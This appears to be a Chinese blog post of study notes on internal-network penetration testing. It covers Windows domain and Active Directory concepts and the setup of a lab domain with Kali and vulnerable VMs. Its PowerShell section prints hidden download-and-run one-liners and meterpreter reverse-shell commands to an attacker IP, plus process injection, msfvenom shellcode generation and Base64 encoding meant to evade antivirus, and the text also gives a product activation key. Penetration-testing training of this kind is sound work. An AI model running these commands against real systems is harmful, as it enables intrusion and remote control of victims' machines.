第一章 內網滲透測試基礎

本文章大部分內容來自於 <內網安全攻防:滲透測試實戰指南>: https://item.jd.com/12743210.html

0x00 內網基礎知識

內網也指局域網(Local Area Network, LAN), 是指在某一區域內由多臺計算機互連而成的計算機組

在局域網中, 可以實現文件管理, 應用軟件共享, 打印機共享, 工作組內的日程安排, 電子郵件和傳真通信服務器等

工作組

將不同的計算機按功能(或部門)分別列入不同的工作組(Work Group)

加入/創建工作組的方法: 右鍵桌面計算機->屬性->更改設置->更改, 然後輸入計算機名和想要加入的工作組名稱即可

如果輸入的工作組在網絡中不存在, , 就相當於新建了一個工作組

設置完後重啓電腦, 進入網絡就可以看到加入工作組的成員了, 也可以退出工作組, 修改工作組的名稱即可

此時在網絡中, 我們可以隨時訪問別人的共享資源, 別人也可以訪問我們的共享資源

所以工作組並不存在真正的集中管理作用, 工作組裏的所有計算機都是對等的,也就是沒有服務器和客戶機之分的。

域(Domain): 一個具有安全邊界的計算機集合(安全邊界: 在兩個域中, 一個域的用戶無法訪問另一個域中的資源).

用戶想要訪問域內的資源, 必須以合法的身份登錄域, 而用戶對域內的資源擁有什麼樣的權限, 取決於用戶在域內的身份

域控制器(Domain Controller, DC): 域中的一臺類似管理服務器的計算機. 域控制器負責所有連入的計算機和用戶的驗證工作. 域內的計算機如果想相互訪問, 都要經過域控制器的審覈

域控制器有個數據庫, 由這個域的賬戶, 密碼, 屬於這個域的計算機等信息構成的

計算機需要滿足以下條件, 域控制器才允許其連接

  1. 計算機是否屬於該域
  2. 賬號是否存在
  3. 密碼是否正確

域控制器是整個域的通信樞紐, 所有的權限身份認證都在域控制器上進行, 也就是說, 域內所有用來驗證身份的賬號和密碼散列值都保存在域控制器中

域中一般有如下環境:

單域

在一個位置固定的小公司裏, 建立一個域就可以滿足需求了

在一個域內, 一般要有至少兩臺域服務器, 一臺作爲 DC, 另一臺作爲備份 DC(BDC).

活動目錄的數據庫(包括用戶的賬號信息)是存儲在 DC 中, 如果沒有備份 DC, 一旦 DC 癱瘓了, 域內的其他用戶就不能登錄該域了.

父域和子域

出於管理及其他需求, 需要在網絡中劃分多個域. 第一個域稱爲父域, 各分部的域稱爲該域的子域

下面的情況會用到父域和子域:

  1. 比如一個大公司, 它的不同分公司在不同的地理位置, 則需父域及子域這樣的結構, 如北京總公司是父域, 上海分公司是一個子域,。
  • 如果把不同地理位置的分公司放在同一個域內, 比如將北京和上海都劃分到一個域中, 那麼他們之間信息交互(包括同步, 複製等)所花費的時間會比較長, 而且佔用的帶寬也比較大。(因爲在同一個域內, 信息交互的條目是很多的, 而且不壓縮;而在域和域之間, 信息交互的條目相對較少, 而且壓縮。
  • 還有一個好處, 就是子公司可以通過自己的域來管理自己的資源。
  • 還有一種情況, 就是出於安全策略的考慮, 因爲每個域都有自己獨有的安全策略。比如一個公司的財務部門希望能使用特定的安全策略(包括帳號密碼策略等), 那麼可以將財務部門做成一個子域來單獨管理。

域樹

域樹(Tree)是多個域通過建立信任關係組成的集合.

一個域管理員只能管理本域, 不能訪問或者管理其他域.

如果兩個域之間需要互相訪問, 則需要建立信任關係(Trust Relaton), 信任關係是連接不同域的橋樑.

域樹內的父域和子域, 可以按需相互管理, 也可以跨網絡分配文件件和打印機等設備及資源, 從而實現在不同的域之間實現網絡資源的共享和管理, 通信及數據傳輸

在一個域樹中, 父域可以包含多個子域.

子域是相對父域來說的, 子域只能使用父域的名字作爲其域名的後綴. 也就是說, 在一個域樹中, 域的名字是連續的.

域森林

域森林(Forest)是指多個域樹通過建立信任關係組成的集合

如下圖, 域樹abc.net無法掛在abc.com下, 所以域樹abc.com與域樹abc.net之間通過建立信任關係來構成域森林.

可以通過域樹之間建立的信任關係來管理和使用整個森林中的資源, 從而又保持了原有域自身原有的特性。

域名服務器

域名服務器(Domain Name Server, DNS)是指用於實現域名(Domain Name)和與之相對應的IP 地址(IP Address)轉換的服務器.

域中的計算機是使用 DNS 來定位域控制器, 服務器及其他計算機, 網絡服務的, 所以域的名字就是 DNS 域的名字

在內網滲透測試中, 大都是通過尋找 DNS 服務器來確定域控制器的位置的(DNS 服務器和域控制器通常配置在同一臺機器上)

活動目錄(AD)

活動目錄(Active Directory, AD)是指域環境中提供目錄服務的組件

目錄: 用於存儲有關網絡對象(例如用戶, 組, 計算機, 共享資源, 打印機和聯繫人等) 的信息

目錄服務: 指幫助用戶快速, 準確地從目錄中找到其所需要的信息的服務

活動目錄存儲的是網絡中所有資源的快捷方式, 用戶可以通過尋找快捷方式來定位資源. 活動目錄與內網的資源相當於字典索引與字典內容.

邏輯結構: 在活動目錄中, 管理員不需要考慮被管理對象的地理位置, 只需要按照一定的方式將這些對象放置在不同的容器中. 這種不考慮被管理對象的具體地理位置的組織框架稱爲邏輯結構

活動目錄的邏輯結構包括前面講過的組織單元(OU),, 域樹, 域森林.

域樹內的所有域共享一個活動目錄, 這個活動目錄內的數據分散存儲在各個域中, 且每個域只存儲該域內的數據.

活動目錄主要提供以下功能:

  1. 帳號集中管理, 所有帳號均存在服務器上,方便對帳號的重命令/重置密碼。
  2. 軟件集中管理, 統一推送軟件, 統一安裝網絡打印機等。利用軟件發佈策略分發軟件,可以讓用戶自由選擇安裝軟件。
  3. 環境集中管理, 利用AD可以統一客戶端桌面,IE,TCP/IP等設置。
  4. 增強安全性, 統一部署殺毒軟件和掃毒任務, 集中化管理用戶的計算機權限、統一制訂用戶密碼策略等, 可監控網絡, 資料統一管理。
  5. 更可靠, 更少的宕機時間。如:利用AD控制用戶訪問權限, 利用羣集、負載均衡等技術對文件服務器進行容災設定, 更可靠, 宕機時間更少。
  6. 活動目錄爲Microsoft統一管理的基礎平臺, 其它isa,exchange,sms等服務都依賴於這個基礎平臺。

域控制器和活動目錄的區別

如果網絡規模較大, 就要把網絡中的衆多對象, 例如計算機, 用戶, 用戶組, 打印機, 共享文件等, 分門別類, 井然有序地放在一個大倉庫中, 並將檢索信息整理好, 以便查找, 管理和使用這些對象(資源). 這個擁有層次結構的數據庫, 就是活動目錄(AD)數據庫, 簡稱AD 庫

那麼, 我們要將這個數據庫放在哪臺計算機上呢? 要實現域環境, 其實就是要安裝 AD.

如果內網中的一臺計算機上安裝了 AD, 它就變成了 DC(用於存儲活動目錄(AD)數據庫的計算機)

安全域的劃分

劃分安全域的目的是將一組安全等級相同的計算機劃入同一個網段, 這個網段內的計算機擁有相同的網絡邊界

網絡邊界上通過部署防火牆來實現對其他安全域的網絡訪問控制策略(NACL), 從而設置允許哪些 IP 地址訪問此域, 允許此域訪問哪些 IP 地址和網段

一個典型的中小型內網的安全域劃分如下圖, 一個虛線框表示一個安全域(也是網絡的邊界, 一般分爲 DZM 和內網), 通過硬件防火牆的不同端口實現隔離

域中計算機的分類

在域結構的網絡中, 計算機的身份是不平等的

域內權限

https://blog.csdn.net/ljy325/article/details/78554852

全局組   來自本域用於全林
通用組   來自全林用於全林
域本地組 來自全林用於本域

比如: 有兩個域, A和B, A中的3個財務人員和B中的4個財務人員都需要訪問A中的“FINA”文件夾。這時, 可以在A中建一個DL, 因爲DL的成員可以來自所有的域, 然後把這8個人都加入這個DL, 並把FINA的訪問權賦給DL。這樣做的壞處是什麼呢?因爲DL是在A域中, 所以管理權也在A域, 如果B域中的4個人變成6個人, 那隻能B域管理員通知A域管理員, 將DL的成員做一下修改, A域的管理員太累了。

這時候, 我們改變一下, 在A和B域中都各建立一個全局組(G), 然後在A域中建立一個DL, 把這兩個G都加入A域中的DL中, 然後把FINA的訪問權賦給DL。哈哈, 這下兩個G組都有權訪問FINA文件夾了, 是嗎?組嵌套造成權限繼承嘛!這時候, 兩個G分佈在A和B域中, 也就是A和B的管理員都可以自己管理自己的G啦, 只要把那3個人和4個人加入G中, 就可以了!以後有任何修改, 都可以自己做了, 不用麻煩A域的管理員!這就是A-G-DL-P

注:A表示用戶賬號, G表示全局組, U表示通用組, DL表示域本地組, P表示資源權限。A-G-DL-P策略將用戶賬號添加到全局組中, 將全局組添加到域本地組中, 然後爲域本地組分配資源權限

例1:將用戶張三(域帳號Z3)加入到域本地組 administrators 中, 並不能使Z3對非DC的域成員計算機有任何特權, 但若加入到全局組Domain Admins中, 張三就是域管理員了, 可以在全局使用, 對域成員計算機是有特權的。

例2:只有在域的DC上, 對資源(如:文件/夾)設置權限, 你可以指派域本地組 administrators;但在非DC的域成員計算機上, 你是無法設置域本地組 administrators 的權限的。因爲它是域本地組, 只能在DC上使用。


0x01 主機平臺及常用工具

虛擬機的安裝

  • VirtualBOX(https://www.virtualbox.org)
  • VMwarePlayer(https://my.vmware.com/web/vmware/downloads)
  • 保證初始系統是乾淨的
  • 配置完成後, 對乾淨、配置好的虛擬機做個快照

Kali滲透測試平臺及常用工具


Windows 滲透測試平臺及常用工具

PowerShell 基礎

Powershell 的基本概念

Powershell 的常用命令

要運行 Powershell 腳本, 必須使用管理權限將策略改成 Unrestricted

1. 繞過本地權限並執行

隨便一個xxx.ps1腳本, 該腳本的作用就是輸出一個hello hacker, 在Restricted策略下, 執行如下命令, 可以繞過安全策略, 執行腳本

powershell.exe -ExecutionPolicy Bypass -File .\xxx.ps1

繞過安全策略

實戰中, 將腳本PowerUp.ps1上傳至目標服務器中(這裏是 C盤根目錄), 在目標本地執行腳本文件, 如下

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"

Invoke-AllChecks 函數將檢查目標主機的攻擊向量以進行權限提升. 爲了更容易閱讀, 我們將結果輸出到一個名爲allchecks.txt的文件裏, 所以命令應該是這樣子Invoke-AllChecks | Out-File allchecks.txt

執行 powerup.ps1 腳本

2. 從網站服務器中下載腳本, 繞過本地權限並隱藏執行

(有問題… …請各位看官跳過)

首先是下載腳本 Invoke–Shellcode.ps1 到目標服務器的命令:

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');

下面對常用參數進行說明, 括號裏爲縮寫:

  1. -ExecutionPolicy Bypass (-Exec ByPass): 繞過執行安全策略. 在默認情況下, Powershell 的安全策略規定了 Powershell 不能運行命令和文件
  2. -WindowStyle Hidden (-W Hidden): 隱藏窗口
  3. -NoInteractive (-NonI): 非交互模式. Powershell 不爲用戶提供交互式的提示
  4. -NoProfile (-NoP): Powershell 控制檯不加載當前用戶的配置文件
  5. -noexit: 執行後不退出 Shell. 這個參數在使用鍵盤記錄等腳本時非常重要
  6. -NoLogo: 啓動不顯示版本標誌的 Powershell

接着是在目標機器上執行 meterpreter shell, 當然, 我們需要知道參數是啥, 可以看一下腳本的源碼:

所以最終的代碼如下:

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234

注意, 下載鏈接那裏要用單引號, 不用用雙引號

具體步驟如下:

  1. 先去kali 的 msf 啓用後門模塊exploit/multi/handler, 並選擇payload windows/meterpreter/reverse_https, 進行監聽

  1. 然後在目標機器上的cmd運行最終代碼:
Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234

然而還是沒有什麼鳥用… …

測試的存一下

Powershell.exe  -ExecutionPolicy Bypass IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234 -Verbose;

注入進程

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose

另一種注入進程

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessID $Proc.Id -Shellcode ($buf) -Force

還是有問題

  1. 在 kali 上生成 shellcode
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.82.131 lport=1234 -f powershell -o /var/www/html/code1
  1. msf 啓用後門模塊exploit/multi/handler, 並選擇payload windows/meterpreter/reverse_https, 進行監聽

  1. 使用 32 位的Powershell 運行如下命令
cd \
cd C:\Users\root\Desktop
Set-ExecutionPolicy unrestricted
Import-Module .\Invoke--Shellcode.ps1
IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
Invoke-Shellcode -Shellcode $buf -Force

  1. 這時候, kali 的 msf 拿到了 shell

再試一次, 還是失敗…

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose

3. 使用 Base64 對 Powershell 命令進行編碼

使用 Base64 對 Powershell 命令進行編碼的目的是混淆和壓縮代碼, 從而避免腳本因爲一些特殊字符被殺毒軟件查殺

這裏需要用到一個 python 腳本–ps_encoder.py, 核心函數如下:

def powershell_encode(data):
    #https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
    #Carlos - aka Darkoperator 編寫了下面的代碼
    blank_command = ""
    powershell_command = ""
    # 刪除ISE可能添加的怪異字符
    #python的file對象的readline以及readlines程序中, 針對一些UTF-8編碼的文件, 
    #開頭會加入BOM來表明編碼方式。
    #使用unicode編碼(xef|\xbb|\xbf),.compile提高匹配效率
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # 循環遍歷通過正則過濾後的每個字符
    for char in (n.sub("", data)):
        # 每個字符間插入“\x00”空字符
        blank_command += char + "\x00"
    powershell_command = blank_command
    # 對powershell進行base64編碼
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command

    # base64編碼是對二進制數據進行處理, 每3個字節劃爲一組, 一共是3x8=24bit
    # 再將24bit劃爲4組, 每組正好6個bit(可表示2的6次方、即64個數)
    #這樣我們就得到了4個數字, 將其作爲索引查碼錶, 獲得相應的4個字符, 就是編碼後的字符串。
    #所以, Base64編碼會把3字節的二進制數據編碼爲4字節的文本數據, 長度增加33%。
    #如果要編碼的二進制數據不是3的倍數, 最後會剩下1個或2個字節,Base64用\x00字節在末尾補足
    #z最後編碼的末尾加上1個或2個=號, 表示補了多少字節, 解碼的時候, 會自動去掉。

要使用該腳本, 需要先將命令保存成文本文件

echo "IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 80 -Force" > raw.txt

然後給ps_encoder.py授予執行權限

chmod +x ps_encoder.py

然後以下命令將 raw.txt 裏面的命令轉換成 base64 編碼

./ps_encoder.py -s raw.txt

輸入的內容就是經過 Base64 編碼的命令了

接着在目標主機上執行如下命令:

Powershell.exe -Nop -NonI -W hidden -Exec Bypass -enc Base64編碼的命令

4. 32位和 64 位的 Powershell

32位PowerShell腳本執行:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64位PowerShell 腳本執行:

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

0x02 搭建內網環境

搭建域環境

  • 域環境常見的有使用Windows 2012 R2、Windows 7或者Windows 2003系統安裝Windows域環境。
  • 下載Windows 2012 R2、Windows 7和Windows XP操作系統
  • 推薦幾個下載操作系統映像的網站:
    • https://msdn.itellyou.cn/;
    • https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/;
    • https://pcriver.com/operating-systems/windows-xp-professional-iso-download.html
  • 創建一個域環境, 創建方法爲先安裝一臺 Windows2012 R2 服務器, 然後將其升級爲域控制器, 然後將 Win7 計算機和 WinXP 計算機加入該域。
機器 ip 模式
防火牆 內網: 10.1.1.1;外網自動獲取 內網網卡爲host-only,外網網卡爲NAT
Windows 2012 R2 10.1.1.2 host-only
Windows 7 10.1.1.10 host-only
Windows XP 10.1.1.11 host-only
Windows 2003 自動獲取 NAT
Kali(攻擊者) 自動獲取 NAT
Kali(Web 服務器) 內網: 10.1.1.12;外網:192.168.1.132 內網網卡host-only, 外網網卡NAT

網卡配置

本人 mac 系統, 用的是vmfusion, 先修改 NET 模式下的網段爲192.168.1.0, 修改host-only模式下的網段爲10.1.1.0

sudo vim /Library/Preferences/VMware\ Fusion/networking

然後重啓 vmfusion 即可

防火牆Monowall構建二級內網

安裝

http://www.cat-home.org/?action=show&id=158

其他的防火牆: OPNSENSE

硬盤 10G 就夠了

需要兩張網卡, 所以要添加一張網卡, 一個是NAT模式, 一個是host-only模式

接着光驅指定系統鏡像

然後啓動虛擬機就行

啓動之後安裝選項輸入7(Install on Hard Drive), 將iso安裝到硬盤。

輸入硬盤設備名稱ad0, 上方有提示, 具體情況根據自己的實際提示安裝。然後在對話框繼續輸入y, 確認之後便開始進入了安裝程序。

安裝完成後, 斷開iso 文件, 然後重啓它

配置網絡

在重啓之後的m0n0對話框輸入1, 開始指定接口, 指定具體網卡接入內網還是外網。

注意這裏的 mac 地址, 通過查看網卡的 mac 地址, 找出對應關係, le0對應外網網卡, le1對應內網網卡

這裏它詢問是否配置 vlans, 這裏選擇n

配置lan口(內網網卡)、wan口(外網網卡)的網卡, 配置完成之後回車保存

配置 ip

再次重啓之後的m0n0對話框輸入2 ,開始對lan口進行網絡地址配置

指定lan口的ip,掩碼, 起始地址和結束地址。

登錄之前

重置登錄密碼

密碼將被重置爲mono 賬戶爲admin

使用

  1. 將一臺虛擬機添加一張網卡, 保持和m0n0防火牆處於同一網卡, 這裏我們的是host-only
  2. 開啓該虛擬機, 將自動爲新網卡獲取在10.1.1.10——10.1.1.100之間的ip

Windows 2012 R2

系統安裝

選擇帶標準版, 帶GUI的服務器安裝

然後就是漫長的等待, 完成後設置密碼, 一定要記好密碼

接下來是激活操作

然後用32P6N-BFRM3-RB3Q8-FCMPD-MDVJW 激活碼激活就行

1. 設置IP

在虛擬機中安裝 Windows Server 2012 R2 操作系統, 配置 IP 地址爲 1.1.1.2, 子網掩碼爲 255.255.255.0, DNS 指向本機 IP 地址1.1.1.2

點擊"確定"之後, 關閉其他窗口即可

2. 更改計算機名

使用本地管理員賬戶登錄, 修改計算機名爲DC(可以隨意取名。等到後面本機升級成域控制器以後, 機器全名會自動變成爲DC.hacke.testlab。更改完成後, 需要重啓服務器。

然後重啓服務器

3. 安裝域控制器和DNS服務

接下來, 在 Windows Server 2012 R2 主機上安裝域控制器和 DNS 服務。

登錄 Windows Server 2012 R2 服務器時, 可以看到服務器管理器頁面, 如圖所示

單擊添加角色和功能選項, 進入添加角色和功能嚮導頁面, 保持默認設置, 單擊下一步按鈕, 進入安裝類型頁面

選擇基於角色或者基於功能的安裝選項, 單擊下一步按鈕, 進入服務器選擇選擇頁面。

目前的服務器池中只有當前這一臺機器, 保持默認設置。單擊下一步按鈕

ps: 這裏的 ip 地址應該是10.1.1.2, 我用的是之前的圖, 所以… 不要在意那些細節!!

服務器角色頁面勾選Active Directory 域服務DNS 服務器複選框, 然後點擊下一步

功能頁面, 保持默認設置, 單擊三次下一步按鈕, 進入確認頁面。

確認需要安裝的組件後, 勾選如果需要, 自動重新啓動目標服務器複選框, 然後, 單擊安裝按鈕。

安裝成功之後, 點擊關閉按鈕

4. 升級服務器

服務器管理器頁面中, 在右上角可以看到一箇中間有!的三角形按鈕。單擊該按鈕, 進入Active Directory 域服務配置嚮導頁面

在部署操作中單擊選中添加新林單選按鈕並輸入根域名(必須使用允許的 DNS 域命名約定)。將根域名設置 爲hacker.testlab, 然後點擊下一步

域控制器選項頁面, 將林功能級別、域功能級別都設置爲 Windows Server 2012 R2, 在創建新林時, 在默認情況下選擇 DNS 服務器, 林中的第一個域控制器必須是全局目錄服務器且不能是隻讀域控制器(RODC)。輸入目錄服務還原模式密碼, 在開機進入安全模式修復 AD 數據庫時將使用此密碼。然後點擊下一步

DNS 選項頁面 會出現關於 DNS 的警告。不用理會該警告, 保持默認設置。單擊下一步 按鈕, 進入其他選項頁面

在 NetBIOS 域名(不支持 DNS 域名的舊系統, 如 Windows 98、 NT 系統, 需要通過 NetBIOS 域名進行通信)頁面保持默認設置。單擊下一步按鈕, 進入路徑界面

指定數據庫、日誌、sysvol 的存放位置, 保持默認設置。接着單擊下一步 按鈕

保持頁面上的默認設置, 單擊下一步按鈕

最後單擊安裝按鈕

安裝完成後, 需要重啓服務器。重啓完成後, 需要使用域管理員賬戶(HACKER\Administrator)登錄。此時在服務器管理器 頁面就可以看到 AD DS、DNS 服務了

這時候, 檢查 DC 是否已經註冊到 DNS:域控制器 DC 會將自己扮演的角色註冊到 DNS 服務器內, 以便讓其他計算機能夠通過 DNS 服務器來找到這臺域控制器, 因此先檢查 DNS 服務器內是否已經存在這些記錄。

圖中的主機(A)記錄表示域控制器 dc.hacker.testlab.xxx 已經正確地將其主機名與 IP 地址註冊到 DNS 服務器內。DNS 客戶端所提出的請求大多是正向解析, 即通過 hostname 來解析 IP 地址對應與此處的正向查找區域;通過 IP 來查找 hostname 即爲反向解析, 對應於此處的反向查找區域。

如果域控制器已經正確地將其扮演的角色註冊到 DNS 服務器, 則還應該有對應的 _tcp_udp 等文件夾。在單擊 _tcp 文件夾後可以看到如下所示的界面, 其中數據類型爲服務位置(SRV)的 _ldap 記錄, 表示dc.hacker.testlab.xxx 已經正確地註冊爲域控制器。其中的 _gc 記錄還可以看出全局編錄服務器的角色也是由 dc.hacker.testlab.xxx 扮演的。

DNS 區域內包含這些數據後, 其他要加入域的計算機就可以通過通過此區域來得知域控制器爲dc.hacker.testlab.xxx 。這些加入域的成員(域控制器、成員服務器、Windows 8、Windows 7、Windows Vista、Windows XP Professional 等)也會將其主機與 IP 地址數據註冊到此區域內。

5. 創建Active Directory用戶

爲 Windows 7 和 Windows XP 用戶創建域控制器賬戶

開始菜單找到管理工具, 打開Active Directory 用戶和計算機

Active Directory 用戶和計算機頁面, 點擊Users目錄,並單擊右鍵, 選擇新建->用戶

這裏創建一個 testuser 賬戶, 如圖

這樣子就添加了一個普通用戶

可以看一下它的權限

Domain Users, 即普通的域用戶

Windows 7

1. 設置 ip

將 Windows 7 系統加入該域, 同樣需要先設置 IP 地址爲 10.1.1.10, DNS 地址爲 10.1.1.2, 然後運行ping hacker.testlab命令進行測試

2. 更改計算機名並加入域

接下來, 將主機加入域, 更改計算機名爲WIN7(對於 Windows 7), 將域名更改爲 hacker.testlab

單擊確定按鈕後, 會彈出要求輸入擁有權限的域賬戶名稱和密碼的對話框。 這裏輸入剛剛創建成功的testuser的賬號和密碼. 操作成功後, 會出現重啓計算機的提示。

然後點擊關閉

計算機重啓後, 使用剛剛創建的testuser用戶登錄域, 點擊切換用戶->其他用戶

3. 關閉防火牆

登錄成功後, 這時候回到 dc 中的Active Directory 用戶和計算機, 可以看到Computers目錄下, 多了我們剛剛加入的WIN7

此時可以管理一波, 如果出現類似如下的提示, 則需要配置防火牆

當然, 我們搞滲透的話, 爲了方便直接關閉防火牆就行

關閉防火牆後, 再打開管理, 即可看到

windows xp

xp 加入域的操作和 win7 類似, 這裏就不再詳解了

Kali

進入kali 可以看到, eth1是外網網卡, eth0是內網網卡

所以接下來要給內外網網卡配置靜態 ip 地址

vim /etc/network/interfaces

增加如下內容:

auto eth1
iface eth1 inet static
address 192.168.1.132
netmask 255.255.255.0
gateway 192.168.1.2

auto eth0
iface eth0 inet static
address 10.1.1.12
netmask 255.255.255.0

這裏的gateway網關配置成192.168.1.2的原因是, 外網網卡的網關就是這個…dhcp 自動獲取的就是這個…

vim /etc/resolv.conf

保存之後重啓網絡

service networking  restart

然後執行如下命令:

route del default
route add default gw 192.168.1.2
route add -net 10.1.1.0/24 gw 10.1.1.1 eth0

至此配置完成, 然後測試一波. 可以ping 一下防火牆, dns, 域機器, 百度

然後找一臺域機器, 這裏是 winxp, ping 一波這臺 kali

搭建其他服務器環境

安裝域服務器後, 可以安裝幾個用於測試的乾淨的操作系統或者存在漏洞的應用程序, 如 Metasploitable2、Metasploitable3、OWASPBWA 和 DVWA 等。由於包含了諸多用於測試的安全弱 點, 建議在 Host-only 或 NAT 的虛擬機網絡模式下使用服務器。

1. Metasploitable2

Metasploitable2 是一個 Ubuntu Linux 虛擬機, 它預置了常見的漏洞。Metasploitable2 環境的 VMWare 鏡像的下載地址爲 http://sourceforge.net/projects/metasploitable/files/Measploitable2。

下載 Metasploitable2 後, 解壓軟件, 並在 VMware Workstation Player 中打開軟件, 輸入用戶 名 msfadmin 和密碼 msfadmin, 登錄軟件。

2. Metasploitable3

Metasploitable3 是一個易受攻擊的 Ubuntu Linux 虛擬機, 專爲測試常見漏洞而設計。此虛擬 機與 VMWare、VirtualBox 和其他常見的虛擬化平臺兼容, 下載地址爲 https://github.com/rapid7/metasploitable3。

下載後, 使用 VMware Workstation Player 運行它, 默認的用戶名和密碼分別是 msfadmin 和 msfadmin。

3. OWASPBWA

OWASPBWA 是 OWASP 出品的一款基於虛擬機的滲透測試演練工具, 提供了一個存在大量 漏洞的網站應用程序環境。 OWASPBWA 同樣需要下載和安裝, 下載地址爲 https://sourceforge.net/projects/owaspbwa/files/。

4. DVWA

DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的 PHP/MySQL Web 應用, 旨在爲安全專業人員測試自己的專業技能和工具提供合法的環境, 幫助 Web 開發者更 好地理解 Web 應用安全防範過程。DVWA 基於 PHP、Apache 及 MySQL, 需要安裝到本地使用。

還有一些在線學習滲透測試的網站, 可以訪問 https://www.hackthissite.org/

思維導圖

https://fengwenhua.top/upload/2020/2/內網滲透測試基礎-0f3b178fa5f3433ca36e2e08c849d14e.xmind

發佈了40 篇原創文章 · 獲贊 58 · 訪問量 8萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章